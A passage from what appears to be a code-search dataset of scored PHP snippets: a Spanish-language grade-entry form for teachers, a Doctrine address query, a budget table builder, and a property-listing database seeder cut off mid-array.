style=\"text-align:right\"></td>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][9]) || ($fechahoy > $rowfecnot[0][10]) || ($rowfecnot[0][9] == \" \") || ($rowfecnot[0][10] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[0][19].'</td>\n\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"par5\" id=\"par5\" value=\"'.$resultverifica[0][19].'\">';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td width=\"25\" align=\"center\"><input type=\"text\" name=\"p5\" value=\"'.$resultverifica[0][19].'\" maxlength=\"2\" size=\"1\" style=\"text-align:right\"></td>';\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][11]) || ($fechahoy > $rowfecnot[0][12]) || ($rowfecnot[0][11] == \" \") || ($rowfecnot[0][12] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[0][21].'</td>\n\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"par6\" id=\"par6\" value=\"'.$resultverifica[0][21].'\">';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td width=\"25\" align=\"center\"><input type=\"text\" name=\"p6\" id=\"p6\" value=\"'.$resultverifica[0][21].'\" maxlength=\"2\" size=\"1\" style=\"text-align:right\"></td>';\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][13]) || ($fechahoy > $rowfecnot[0][14]) || ($rowfecnot[0][13] == \" \") || ($rowfecnot[0][14] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[0][27].'</td>\n\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"plab\" id=\"plab\" value=\"'.$resultverifica[0][27].'\">';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td width=\"25\" align=\"center\"><input type=\"text\" name=\"pl\" id=\"pl\" value=\"'.$resultverifica[0][27].'\" maxlength=\"2\" size=\"1\" style=\"text-align:right\"></td>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][15]) || ($fechahoy > $rowfecnot[0][16]) || ($rowfecnot[0][15] == \" \") || ($rowfecnot[0][16] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[0][23].'</td>\n\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"pexa\" id=\"pexa\" value=\"'.$resultverifica[0][23].'\">';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\"> <input type=\"text\" name=\"pe\" id=\"pe\" value=\"'.$resultverifica[0][23].'\" maxlength=\"2\" size=\"1\" style=\"text-align:right\"></td>';\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][17]) || ($fechahoy > $rowfecnot[0][18]) || ($rowfecnot[0][17] == \" \") || ($rowfecnot[0][18] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\">70</td>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\techo '<td width=\"26\" align=\"center\"><input type=\"text\" name=\"ph\" id=\"ph\" value=\"70\" readonly size=\"1\" style=\"text-align:right\" '.$sbgc.'></td>';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ($resultverifica[0][34]<=100)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td></td>\n\t\t\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[0][34].'%</td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr class=\"texto_subtitulo\">\n\t\t\t\t\t\t\t\t\t\t<td colspan=\"15\" align=\"center\">\n\t\t\t\t\t\t\t\t\t\t\t<p><span class=\"texto_negrita\">Captura de notas</span></p>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr class=\"cuadro_color\">\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">CODIGO</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">NOMBRE</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">P1</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">P2</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">P3</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">P4</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">P5</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">P6</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">LAB</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">EXA</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">HAB</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">No. Fallas</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">ACU</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">OBS</td>\n\t\t\t\t\t\t\t\t\t\t<td align=\"center\">DEF</td>\n\t\t\t\t\t\t\t\t\t</tr>';\n\t\t\t\t\t\t\t\t\tif($fechahoy < $fecini || $fechahoy > $fecfin)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$i=0;\n\t\t\t\t\t\t\t\t\t\twhile(isset($resultverifica[$i][0]))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\techo'<tr onMouseOver=\"this.className=\\'raton_arr\\'\" onMouseOut=\"this.className=\\'raton_aba\\'\">\n\t\t\t\t\t\t\t\t\t\t\t<td align=\"right\">'.$resultverifica[$i][7].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td>'.$resultverifica[$i][8].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][10].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][12].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][14].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][16].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][18].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][20].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][22].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][24].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][26].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][31].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][29].'</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][28].'</td>\n\t\t\t\t\t\t\t\t\t\t\t</tr>';\n\t\t\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$i=0;\n\t\t\t\t\t\t\t\t\t\twhile(isset($resultverifica[$i][0]))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\techo'<tr>\n\t\t\t\t\t\t\t\t\t\t\t<td align=\"left\">'.$resultverifica[$i][7].'</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>'.$resultverifica[$i][8].'</td>';\n\t\t\t\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][1]) || ($fechahoy > $rowfecnot[0][2]) || ($rowfecnot[0][1] == \" \") || ($rowfecnot[0][2] == \" \") || ($fechahoy > $rowfecnot[0][19])){\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[$i][10].'</td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"nota_1'.$i.'\" name=\"nota_1'.$i.'\" onBlur=\"val_nota(\\'nota_1'.$i.'\\')\" value=\"'.$resultverifica[$i][10].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\"></td>';\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][3]) || ($fechahoy > $rowfecnot[0][4]) || ($rowfecnot[0][3] == \" \") || ($rowfecnot[0][4] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[$i][12].'</td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"nota_2'.$i.'\" name=\"nota_2'.$i.'\" onBlur=\"val_nota(\\'nota_2'.$i.'\\')\" value=\"'.$resultverifica[$i][12].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\"></td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][5]) || ($fechahoy > $rowfecnot[0][6]) || ($rowfecnot[0][5] == \" \") || ($rowfecnot[0][6] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[$i][14].'</td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"nota_3'.$i.'\" name=\"nota_3'.$i.'\" onBlur=\"val_nota(\\'nota_3'.$i.'\\')\" value=\"'.$resultverifica[$i][14].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\"></td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][7]) || ($fechahoy > $rowfecnot[0][8]) || ($rowfecnot[0][7] == \" \") || ($rowfecnot[0][8] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[$i][16].'</td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"nota_4'.$i.'\" name=\"nota_4'.$i.'\" onBlur=\"val_nota(\\'nota_4'.$i.'\\')\" value=\"'.$resultverifica[$i][16].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\"></td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][9]) || ($fechahoy > $rowfecnot[0][10]) || ($rowfecnot[0][9] == \" \") || ($rowfecnot[0][10] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[$i][18].'</td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"nota_5'.$i.'\" name=\"nota_5'.$i.'\" onBlur=\"val_nota(\\'nota_5'.$i.'\\')\" value=\"'.$resultverifica[$i][18].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\"></td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][11]) || ($fechahoy > $rowfecnot[0][12]) || ($rowfecnot[0][11] == \" \") || ($rowfecnot[0][12] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[$i][20].'</td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"nota_6'.$i.'\" name=\"nota_6'.$i.'\" onBlur=\"val_nota(\\'nota_6'.$i.'\\')\" value=\"'.$resultverifica[$i][20].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\"></td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][13]) || ($fechahoy > $rowfecnot[0][14]) || ($rowfecnot[0][13] == \" \") || ($rowfecnot[0][14] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[$i][24].'</td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"lab_1'.$i.'\" name=\"lab_1'.$i.'\" onBlur=\"val_nota(\\'lab_1'.$i.'\\')\" value=\"'.$resultverifica[$i][24].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\"></td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][15]) || ($fechahoy > $rowfecnot[0][16]) || ($rowfecnot[0][15] == \" \") || ($rowfecnot[0][16] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[$i][22].'</td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"exa_1'.$i.'\" name=\"exa_1'.$i.'\" onBlur=\"val_nota(\\'exa_1'.$i.'\\')\" value=\"'.$resultverifica[$i][22].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\" ></td>';\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][17]) || ($fechahoy > $rowfecnot[0][18]) || ($rowfecnot[0][17] == \" \") || ($rowfecnot[0][18] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[$i][26].'</td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"hab_1'.$i.'\" name=\"hab_1'.$i.'\" onBlur=\"val_nota(\\'hab_1'.$i.'\\')\" value=\"'.$resultverifica[$i][26].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\"></td>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\techo '<td align=\"center\"><input type=\"text\" id=\"nf_1'.$i.'\" name=\"nf_1'.$i.'\" onBlur=\"val_nota(\\'nf_1'.$i.'\\')\" value=\"'.$resultverifica[$i][35].'\" size=\"1\" style=\"text-align:right\" onKeypress=\"return SoloNumero(event)\"></td>\n\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][31].'</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t\t\t\t\t<select style=\"width:48px\" id=\"obs_1'.$i.'\" name=\"obs_1'.$i.'\" value=\"'.$resultverifica[$i][29].'\">\n\t\t\t\t\t\t\t\t\t\t\t\t<option>'.$resultverifica[$i][29].'</option>';\n\t\t\t\t\t\t\t\t\t\t\t\t$j=0;\n\t\t\t\t\t\t\t\t\t\t\t\twhile(isset($rowobs[$j][0]))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\techo '<option value='.$rowobs[$j][0].'>'.$rowobs[$j][0].' ' .$rowobs[$j][1].'</option>';\n\t\t\t\t\t\t\t\t\t\t\t\t$j++;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\techo '</select>\n\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">'.$resultverifica[$i][28].'</td>\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"cod_'.$i.'\" size=\"10%\" id=\"codigo\" value=\"'.$resultverifica[$i][7].'\" readonly style=\"text-align:right\">\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"nivel\" size=\"10%\" id=\"nivel\" value=\"'.$valor[4].'\" readonly style=\"text-align:right\">\n\t\t\t\t\t\t\t\t\t\t\t</tr>';\n\t\t\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo \"<p>La suma de los porcentajes no debe superar el 100%</p>\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t<tr align='center'>\n\t\t\t\t\t\t\t\t<td colspan=\"16\">\n\t\t\t\t\t\t\t\t\t<table class=\"tablaBase\">\n\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">\n\t\t\t\t\t\t\t\t\t\t\t\t<input value=\"Grabar\" name=\"aceptar\" tabindex='<? echo $tab++ ?>' type=\"submit\" onclick=\"if(<? echo $this->verificar; ?>){document.forms['<? echo $this->formulario?>'].submit()}else{false}\"/><br>\n\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t<!--td align=\"center\">\n\t\t\t\t\t\t\t\t\t\t\t\t<input type='hidden' name='nivel' value='<? //echo $valor[4]?>'>\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"notdef\" value=\"Calcular Acumulado\">\n\t\t\t\t\t\t\t\t\t\t\t</td-->\n\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\">\n\t\t\t\t\t\t\t\t\t\t\t\t<input type='hidden' name='nivel' value='<? echo $valor[4]?>'>\n\t\t\t\t\t\t\t\t\t\t\t\t<input name='cancelar' value='Cancelar' type=\"submit\" tabindex='<? echo $tab++ ?>' /><br>\n\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t<td align=\"center\" colspan=\"3\">\n\t\t\t\t\t\t\t\t\t\t\t\t<?\n\t\t\t\t\t\t\t\t\t\t\t\tinclude_once($configuracion[\"raiz_documento\"].$configuracion[\"clases\"].\"/encriptar.class.php\");\n\t\t\t\t\t\t\t\t\t\t\t\tinclude_once($configuracion[\"raiz_documento\"].$configuracion[\"clases\"].\"/navegacion.class.php\");\n\t\t\t\t\t\t\t\t\t\t\t\t$total=count($resultado);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\tsetlocale(LC_MONETARY, 'en_US');\n\t\t\t\t\t\t\t\t\t\t\t\t$indice=$configuracion[\"host\"].$configuracion[\"site\"].\"/index.php?\";\n\t\t\t\t\t\t\t\t\t\t\t\t$cripto=new encriptar();\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\techo \"<a href='\";\n\t\t\t\t\t\t\t\t\t\t\t\t$variable=\"pagina=registro_notasDocente\";\n\t\t\t\t\t\t\t\t\t\t\t\t$variable.=\"&opcion=reportes\";\n\t\t\t\t\t\t\t\t\t\t\t\t$variable.=\"&asig=\".$valor[1];\n\t\t\t\t\t\t\t\t\t\t\t\t$variable.=\"&grupo=\".$valor[2];\n\t\t\t\t\t\t\t\t\t\t\t\t$variable.=\"&carrera=\".$valor[3];\n\t\t\t\t\t\t\t\t\t\t\t\t$variable.=\"&nivel=\".$valor[4];\n\t\t\t\t\t\t\t\t\t\t\t\t$variable.=\"&periodo=\".$valor[10];\n\t\t\t\t\t\t\t\t\t\t\t\t$variable.=\"&docente=\".$valor[0]; \n\t\t\t\t\t\t\t\t\t\t\t\t//$variable.=\"&no_pagina=true\";\n\t\t\t\t\t\t\t\t\t\t\t\t$variable=$cripto->codificar_url($variable,$configuracion);\n\t\t\t\t\t\t\t\t\t\t\t\techo $indice.$variable.\"'\";\n\t\t\t\t\t\t\t\t\t\t\t\techo \"title='Haga Click aqu&iacute; para ir a reporte de notas'>\";\n\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t<center><img src=\"<? echo $configuracion[\"host\"].$configuracion[\"site\"].$configuracion[\"grafico\"]?>/reporte.png\" border=\"0\"></center>\n\t\t\t\t\t\t\t\t\t\t\t\tIr a reporte de notas\n\t\t\t\t\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t</form>\t\t\n\t\t\t\t\t\t\n\t\t<?\n\t\t\n\t}", "title": "" }, { "docid": "79415aeb5afd1f43ab5fa7c98ec9a0e0", "score": "0.49223816", "text": "public function Buscaendereco() {\n try {\n //Executa a Query\n $query = Doctrine_Query::create()\n ->select('co.*, cc.txt_cidade, cu.txt_uf, cu.cha_sigla')\n ->from($this->table_alias)\n ->innerJoin(\"co.CepCidades cc\")\n ->innerJoin(\"co.CepUf cu\")\n ->where(\"co.cod_idioma = ?\", LANGUAGE)\n ->execute()\n ->toArray();\n\n //Retorna o resultado\n return $query[0];\n } catch (Doctrine_Exception $e) {\n echo $e->getMessage();\n }\n }", "title": "" }, { "docid": "42d86e2c8c240381884259227cd5e4de", "score": "0.49222237", "text": "public function montos_pendientes_cpoa_servicio_unidad($proy_id){\n $tabla='';\n if($this->verif_mes[1]!=1){\n if($this->verif_mes[1]==12){\n $tabla.='Mes Diciembre';\n }\n else{\n $tabla.='\n <div style=\"font-size: 12px;font-family: Arial;height:20px;\">\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n MONTOS PENDIENTES\n </div>';\n\n $tabla.='\n <table style=\"width: 100%;\" border=0>\n <tr>\n <td style=\"width: 3%;\"></td>\n <td style=\"width: 97%;\">\n <table border=\"0.2\" cellpadding=\"0\" cellspacing=\"0\" class=\"tabla\" style=\"width:100%;\">\n <thead>\n <tr class=\"modo1\" align=\"center\">\n <th style=\"width:15%;background-color: #1c7368; color: #FFFFFF;height:15px\">MES</th>\n <th style=\"width:10%;background-color: #1c7368; color: #FFFFFF\">NRO DE ITEMS</th>\n <th style=\"width:20%;background-color: #1c7368; color: #FFFFFF\">MONTO NO CERTIFICADO</th>\n </tr>\n </thead>';\n $monto=0;\n for ($i=1; $i <$this->verif_mes[1]; $i++) { \n $monto_mes=$this->mis_requerimientos_al_mes_unidad($proy_id,$i);\n $mes=$this->model_modificacion->get_mes($i);\n $tabla.='<tr class=\"modo1\">\n <td style=\"width: 15%;\" style=\"height:11px;\">'.$mes[0]['m_descripcion'].'</td>\n <td align=\"right\">'.$monto_mes[1].'</td>\n <td align=\"right\">'.number_format($monto_mes[2], 2, ',', '.').'</td>\n </tr>';\n $monto=$monto+$monto_mes[2];\n }\n $tabla.='\n <tr>\n <td colspan=2 align=\"right\" style=\"height:11px;\"><b>TOTAL</b></td>\n <td align=\"right\"><b>'.number_format($monto, 2, ',', '.').'</b></td>\n </tr>\n </table>\n </td>\n </tr>\n </table>';\n }\n }\n\n return $tabla;\n }", "title": "" }, { "docid": "ce8558128a31d5f90118f7887edf719d", "score": "0.49207747", "text": "public function run()\n {\n \t$imoveis = [\n \t\t[\n \t\t\t'nome' => 'Mansão Turing',\n \t\t\t'descricao' => 'Terreno de 400m², próximo à praia',\n 'valor' => '1268000.00',\n 'qtd_dormitorio' => '6',\n 'qtd_banheiro' => '4',\n 'qtd_cozinha' => '2',\n 'qtd_garagem' => '3',\n 'qtd_visualicoes' => '0',\n 'categoria_servico' => '1',\n 'imagem' => 'img/modelo_detalhe_4.jpg',\n 'imovel_tipo_id' => '1',\n 'usuario_id' => 6\n ],\n [\n \t\t\t'nome' => 'Apartamento Luxo',\n \t\t\t'descricao' => 'Cobertura de 250m², condomínio fechado',\n 'valor' => '987000.00',\n 'qtd_dormitorio' => '4',\n 'qtd_banheiro' => '3',\n 'qtd_cozinha' => '1',\n 'qtd_garagem' => '2',\n 'qtd_visualicoes' => '0',\n 'categoria_servico' => '1',\n 'imagem' => 'img/imgtipo1.jpg',\n 'imovel_tipo_id' => '2',\n 'usuario_id' => 6\n ],\n [\n 'nome' => 'Jardim Flor de Liz',\n 'descricao' => 'Apartamento simples',\n 'valor' => '900.00',\n 'qtd_dormitorio' => '2',\n 'qtd_banheiro' => '1',\n 'qtd_cozinha' => '1',\n 'qtd_garagem' => '1',\n 'qtd_visualicoes' => '0',\n 'categoria_servico' => '2',\n 'imagem' => 'img/Casa05/figura01.JPG',\n 'imovel_tipo_id' => '2',\n 'usuario_id' => 5\n ],\n\t\t\t[\n \t\t\t'nome' => 'Jardim dos Ipês',\n \t\t\t'descricao' => 'Casa 150m²',\n 'valor' => '175000.00',\n 'qtd_dormitorio' => '3',\n 'qtd_banheiro' => '1',\n 'qtd_cozinha' => '1',\n 'qtd_garagem' => '1',\n 'qtd_visualicoes' => '0',\n 'categoria_servico' => '1',\n 'imagem' => 'img/Casa01/figura1.jpg',\n 'imovel_tipo_id' => '3',\n 'usuario_id' => 4\n ],\n [\n \t\t\t'nome' => 'Setor Summerville',\n \t\t\t'descricao' => 'Casa próxima ao centro',\n 'valor' => '392000.00',\n 'qtd_dormitorio' => '4',\n 'qtd_banheiro' => '2',\n 'qtd_cozinha' => '1',\n 'qtd_garagem' => '3',\n 'qtd_visualicoes' => '0',\n 'categoria_servico' => '1',\n 'imagem' => 'img/Casa10/figura01.JPG',\n 'imovel_tipo_id' => '1',\n 'usuario_id' => 3\n ],\n [\n \t\t\t'nome' => 'Bairro Batista',\n \t\t\t'descricao' => 'Casarão com espaçõ 315m² com psicina',\n 'valor' => '950000.00',\n 'qtd_dormitorio' => '6',\n 'qtd_banheiro' => '3',\n 'qtd_cozinha' => '1',\n 'qtd_garagem' => '3',\n 'qtd_visualicoes' => '0',\n 